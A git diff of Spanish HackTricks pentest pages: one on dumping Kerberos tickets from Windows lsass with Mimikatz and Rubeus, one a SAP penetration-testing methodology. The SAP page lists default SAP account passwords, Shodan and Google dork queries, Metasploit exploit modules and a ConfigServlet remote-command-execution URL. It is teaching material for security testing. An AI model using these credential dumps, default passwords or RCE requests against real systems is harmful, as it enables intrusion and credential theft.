* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
# Recolección de tickets desde Windows
# Harvesting tickets from Windows
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Los tickets en Windows son gestionados y almacenados por el proceso **lsass** (Servicio de Subsistema de Autoridad de Seguridad Local), responsable de manejar las políticas de seguridad. Para extraer estos tickets, es necesario interactuar con el proceso lsass. Un usuario no administrativo solo puede acceder a sus propios tickets, mientras que un administrador tiene el privilegio de extraer todos los tickets en el sistema. Para tales operaciones, las herramientas **Mimikatz** y **Rubeus** son ampliamente utilizadas, cada una ofreciendo diferentes comandos y funcionalidades.
Los tickets en Windows son gestionados y almacenados por el proceso **lsass** (Local Security Authority Subsystem Service), responsable de manejar las políticas de seguridad. Para extraer estos tickets, es necesario interactuar con el proceso lsass. Un usuario no administrativo solo puede acceder a sus propios tickets, mientras que un administrador tiene el privilegio de extraer todos los tickets en el sistema. Para tales operaciones, las herramientas **Mimikatz** y **Rubeus** son ampliamente empleadas, cada una ofreciendo diferentes comandos y funcionalidades.
### Mimikatz
Mimikatz es una herramienta versátil que puede interactuar con la seguridad de Windows. Se utiliza no solo para extraer tickets, sino también para diversas operaciones relacionadas con la seguridad.
Mimikatz es una herramienta versátil que puede interactuar con la seguridad de Windows. Se utiliza no solo para extraer tickets, sino también para varias otras operaciones relacionadas con la seguridad.
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus es una herramienta diseñada específicamente para la interacción y manipulación de Kerberos. Se utiliza para la extracción y gestión de tickets, así como para otras actividades relacionadas con Kerberos.
Rubeus es una herramienta específicamente diseñada para la interacción y manipulación de Kerberos. Se utiliza para la extracción y manejo de tickets, así como para otras actividades relacionadas con Kerberos.
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
@ -42,21 +43,22 @@ Rubeus es una herramienta diseñada específicamente para la interacción y mani
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
Cuando uses estos comandos, asegúrate de reemplazar los marcadores de posición como `<BASE64_TICKET>` y `<luid>` con el ticket codificado en Base64 y el ID de inicio de sesión real, respectivamente. Estas herramientas proporcionan una funcionalidad extensa para gestionar tickets e interactuar con los mecanismos de seguridad de Windows.
Al usar estos comandos, asegúrese de reemplazar los marcadores de posición como `<BASE64_TICKET>` y `<luid>` con el ticket codificado en Base64 y el ID de inicio de sesión reales, respectivamente. Estas herramientas proporcionan una funcionalidad extensa para gestionar tickets e interactuar con los mecanismos de seguridad de Windows.
## Referencias
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,25 +20,25 @@ Otras formas de apoyar a HackTricks:
# Introducción sobre SAP
SAP significa Sistemas, Aplicaciones y Productos en el Procesamiento de Datos. SAP, por definición, es también el nombre del software ERP \(Planificación de Recursos Empresariales\) así como el nombre de la empresa.
El sistema SAP consta de varios módulos totalmente integrados, que cubren virtualmente todos los aspectos de la gestión empresarial.
SAP significa Sistemas, Aplicaciones y Productos en Procesamiento de Datos. SAP, por definición, también es el nombre del software ERP \(Planificación de Recursos Empresariales\) así como el nombre de la empresa.
El sistema SAP consiste en una serie de módulos completamente integrados, que cubren prácticamente todos los aspectos de la gestión empresarial.
Cada instancia SAP \(o SID\) está compuesta por tres capas: base de datos, aplicación y presentación\), cada paisaje generalmente consta de cuatro instancias: desarrollo, prueba, QA y producción.
Cada una de las capas puede ser explotada hasta cierto punto, pero se puede obtener el mayor efecto **atacando la base de datos**.
Cada instancia de SAP \(o SID\) se compone de tres capas: base de datos, aplicación y presentación\), cada paisaje generalmente consiste en cuatro instancias: dev, test, QA y producción.
Cada una de las capas puede ser explotada hasta cierto punto, pero el mayor efecto se puede obtener al **atacar la base de datos**.
Cada instancia SAP está dividida en clientes. Cada uno tiene un usuario SAP\*, el equivalente de "root" de la aplicación.
Al ser creado inicialmente, este usuario SAP\* recibe una contraseña predeterminada: "060719992" \(más contraseñas predeterminadas abajo\).
¡Te sorprendería saber cuántas veces estas **contraseñas no se cambian en entornos de prueba o desarrollo**!
Cada instancia de SAP se divide en clientes. Cada uno tiene un usuario SAP\*, el equivalente de “root” de la aplicación.
Al momento de la creación inicial, este usuario SAP\* recibe una contraseña predeterminada: “060719992” \(más contraseñas predeterminadas a continuación\).
¡Te sorprendería saber con qué frecuencia estas **contraseñas no se cambian en entornos de prueba o desarrollo**!
Intenta obtener acceso al shell de cualquier servidor utilizando el nombre de usuario &lt;SID&gt;adm.
El uso de fuerza bruta puede ayudar, sin embargo, puede existir un mecanismo de bloqueo de cuenta.
Intenta obtener acceso a la shell de cualquier servidor usando el nombre de usuario &lt;SID&gt;adm.
El bruteforcing puede ayudar, sin embargo, puede haber un mecanismo de bloqueo de cuenta.
# Descubrimiento
> La siguiente sección proviene principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) del usuario shipcod3!
> La siguiente sección es en su mayoría de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) del usuario shipcod3!
* Verifica el Alcance de la Aplicación o Resumen del Programa para realizar pruebas. Toma nota de los nombres de host o instancias del sistema para conectarte a SAP GUI.
* Utiliza OSINT \(inteligencia de fuentes abiertas\), Shodan y Google Dorks para verificar archivos, subdominios e información relevante si la aplicación está expuesta en Internet o es pública:
* Revisa el Alcance de la Aplicación o el Resumen del Programa para pruebas. Toma nota de los nombres de host o instancias del sistema para conectarte a SAP GUI.
* Utiliza OSINT \(inteligencia de código abierto\), Shodan y Google Dorks para buscar archivos, subdominios e información valiosa si la aplicación está expuesta a Internet o es pública:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -47,19 +48,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Aquí se muestra cómo se ve [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
* Aquí está cómo se ve [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
![Pantalla de inicio de sesión de SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Utiliza nmap para verificar los puertos abiertos y los servicios conocidos \(routers sap, webdynpro, servicios web, servidores web, etc.\)
* Explora las URL si hay un servidor web en ejecución.
* Realiza fuzzing en los directorios \(puedes usar Burp Intruder\) si hay servidores web en ciertos puertos. Aquí tienes algunas buenas listas de palabras proporcionadas por el Proyecto SecLists para encontrar rutas SAP ICM predeterminadas y otros directorios o archivos interesantes:
* Usa nmap para verificar puertos abiertos y servicios conocidos \(enrutadores sap, webdnypro, servicios web, servidores web, etc.\)
* Rastrea las URL si hay un servidor web en funcionamiento.
* Fuzz las directorios \(puedes usar Burp Intruder\) si tiene servidores web en ciertos puertos. Aquí hay algunas buenas listas de palabras proporcionadas por el Proyecto SecLists para encontrar rutas ICM predeterminadas de SAP y otros directorios o archivos interesantes:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* Utiliza el módulo auxiliar SAP SERVICE DISCOVERY de Metasploit para enumerar instancias/servicios/componentes de SAP:
* Usa el módulo auxiliar de Metasploit SAP SERVICE DISCOVERY para enumerar instancias/servicios/componentes de SAP:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -76,12 +77,12 @@ rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
## Probando el Cliente Pesado / SAP GUI
## Testing the Thick Client / SAP GUI
Aquí está el comando para conectarse a SAP GUI
`sapgui <nombre del servidor SAP> <número de sistema>`
Aquí está el comando para conectarse a SAP GUI
`sapgui <sap server hostname> <system number>`
* Verificar credenciales predeterminadas \(En la Taxonomía de Calificación de Vulnerabilidades de Bugcrowd, esto se considera como P1 -&gt; Configuración de Seguridad del Servidor \| Uso de Credenciales Predeterminadas \| Servidor de Producción\):
* Verifique las credenciales predeterminadas \(En la Taxonomía de Calificación de Vulnerabilidades de Bugcrowd, esto se considera P1 -&gt; Configuración de Seguridad del Servidor Incorrecta \| Uso de Credenciales Predeterminadas \| Servidor de Producción\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -132,34 +133,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Ejecuta Wireshark y luego autentica al cliente (SAP GUI) usando las credenciales que obtuviste porque algunos clientes transmiten credenciales sin SSL. Hay dos plugins conocidos para Wireshark que pueden analizar los encabezados principales utilizados por el protocolo SAP DIAG también: el complemento de análisis SAP de SecureAuth Labs y el complemento SAP DIAG de Positive Research Center.
* Verifica las escaladas de privilegios como el uso de algunos Códigos de Transacción SAP (tcodes) para usuarios de bajo privilegio:
* SU01 - Para crear y mantener usuarios
* SU01D - Para mostrar usuarios
* SU10 - Para mantenimiento masivo
* SU02 - Para creación manual de perfiles
* SM19 - Auditoría de seguridad - configuración
* SE84 - Sistema de Información para Autorizaciones SAP R/3
* Ejecuta Wireshark y luego autentícate en el cliente \(SAP GUI\) usando las credenciales que obtuviste porque algunos clientes transmiten credenciales sin SSL. Hay dos complementos conocidos para Wireshark que pueden descomponer los encabezados principales utilizados por el protocolo SAP DIAG también: SecureAuth Labs SAP dissection plug-in y SAP DIAG plugin by Positive Research Center.
* Verifica si hay escalaciones de privilegios como usar algunos Códigos de Transacción SAP \(tcodes\) para usuarios de bajo privilegio:
* SU01 - Para crear y mantener los usuarios
* SU01D - Para mostrar usuarios
* SU10 - Para mantenimiento masivo
* SU02 - Para creación manual de perfiles
* SM19 - Auditoría de seguridad - configuración
* SE84 - Sistema de Información para Autorizaciones SAP R/3
* Verifica si puedes ejecutar comandos del sistema / ejecutar scripts en el cliente.
* Verifica si puedes realizar XSS en BAPI Explorer
* Verifica si puedes hacer XSS en BAPI Explorer
# Probando la interfaz web
# Pruebas de la interfaz web
* Explora las URL (ver fase de descubrimiento).
* Realiza fuzzing en las URL como en la fase de descubrimiento. Así es como se ve [http://SAP:50000/index.html](http://sap:50000/index.html):
* Rastrea las URL \(ver fase de descubrimiento\).
* Fuzz las URL como en la fase de descubrimiento. Aquí está cómo se ve [http://SAP:50000/index.html](http://sap:50000/index.html):
![Página de inicio de SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Busca vulnerabilidades web comunes (Consultar el Top 10 de OWASP) porque hay vulnerabilidades como XSS, RCE, XXE, etc. en algunos lugares.
* Consulta la metodología de Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) para probar vulnerabilidades web.
* ¿Bypass de autenticación a través de la manipulación de verbos? ¡Quizás! :)
* Abre `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` luego presiona el botón "Choose" y después en la ventana abierta presiona "Search". Deberías poder ver una lista de usuarios SAP (Referencia de vulnerabilidad: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* ¿Se envían las credenciales a través de HTTP? Si es así, se considera como P3 según la Taxonomía de Clasificación de Vulnerabilidades de Bugcrowd: Autenticación Rota y Gestión de Sesiones Débil | Función de Inicio de Sesión Débil sobre HTTP. Pista: Consulta también [http://SAP:50000/startPage](http://sap:50000/startPage) o los portales de inicio de sesión:
* Busca vulnerabilidades web comunes \(Consulta OWASP Top 10\) porque hay vulnerabilidades XSS, RCE, XXE, etc. en algunos lugares.
* Consulta la [“Metodología de Cazadores de Errores”](https://github.com/jhaddix/tbhm) de Jason Haddix para probar vulnerabilidades web.
* ¿Bypass de autenticación a través de manipulación de verbos? Tal vez :\)
* Abre `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, luego presiona el botón “Elegir” y luego en la ventana abierta presiona “Buscar”. Deberías poder ver una lista de usuarios SAP \(Referencia de Vulnerabilidad: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
* ¿Se envían las credenciales a través de HTTP? Si es así, se considera P3 según la [Taxonomía de Clasificación de Vulnerabilidades](https://bugcrowd.com/vulnerability-rating-taxonomy) de Bugcrowd: Autenticación Rota y Gestión de Sesiones \| Función de Inicio de Sesión Débil a través de HTTP. Sugerencia: Consulta también [http://SAP:50000/startPage](http://sap:50000/startPage) o los portales de inicio de sesión :\)
![Página de inicio de SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Intenta `/irj/go/km/navigation/` para posibles listados de directorios o bypass de autenticación
* [http://SAP/sap/public/info](http://sap/sap/public/info) contiene información interesante:
* Prueba `/irj/go/km/navigation/` para posible listado de directorios o bypass de autenticación
* [http://SAP/sap/public/info](http://sap/sap/public/info) contiene información valiosa:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -192,8 +193,8 @@ BWDEVELOPER:Down1oad:001
```
# ¡Ataque!
* Verificar si se ejecuta en servidores antiguos o tecnologías como Windows 2000.
* Planificar los posibles exploits / ataques, hay muchos módulos de Metasploit para el descubrimiento de SAP (módulos auxiliares) y exploits:
* Verifique si se ejecuta en servidores o tecnologías antiguas como Windows 2000.
* Planifique los posibles exploits / ataques, hay muchos módulos de Metasploit para el descubrimiento de SAP \(módulos auxiliares\) y exploits:
```text
msf > search sap
Matching Modules
@ -258,11 +259,11 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Intenta utilizar algunos exploits conocidos (consulta Exploit-DB) o ataques como el clásico pero efectivo "Ejecución de código remoto de SAP ConfigServlet" en el Portal de SAP:
* Intenta usar algunos exploits conocidos \(consulta Exploit-DB\) o ataques como el viejo pero bueno “SAP ConfigServlet Remote Code Execution” en el SAP Portal:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![RCE de Servlet de Configuración de SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Antes de ejecutar el comando `start` en el script bizploit en la fase de Descubrimiento, también puedes agregar lo siguiente para realizar una evaluación de vulnerabilidades:
```text
@ -288,20 +289,20 @@ bizploit> start
```
# Otras Herramientas Útiles para Pruebas
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Herramienta Powershell para evaluar la seguridad de SAP
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Herramienta de Powershell para evaluar la seguridad de SAP
* [Burp Suite](https://portswigger.net/burp) - imprescindible para fuzzing de directorios y evaluaciones de seguridad web
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca de Python para crear paquetes de protocolo de red de SAP
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca de Python para crear paquetes del protocolo de red SAP
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ayuda a nmap a detectar SAP/ERP
## Referencias
* [Pruebas de Penetración de SAP Utilizando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - un script para automatizar parcialmente Bizploit
* [Configuración de seguridad de SAP NetWeaver ABAP parte 3: Contraseñas predeterminadas para acceder a la aplicación](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Pruebas de Penetración de SAP Usando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - un script para semi-automatizar Bizploit
* [Configuración de seguridad de SAP NetWeaver ABAP parte 3: Contraseñas predeterminadas para el acceso a la aplicación](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [Lista de códigos de transacción ABAP relacionados con la seguridad de SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [Rompiendo SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Top 10 de las vulnerabilidades y ataques más interesantes de SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Evaluación de la seguridad de los ecosistemas de SAP con bizploit: Descubrimiento](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [Rompiendo el Portal SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [Las 10 vulnerabilidades y ataques más interesantes de SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Evaluando la seguridad de los ecosistemas SAP con bizploit: Descubrimiento](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
@ -311,16 +312,17 @@ bizploit> start
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
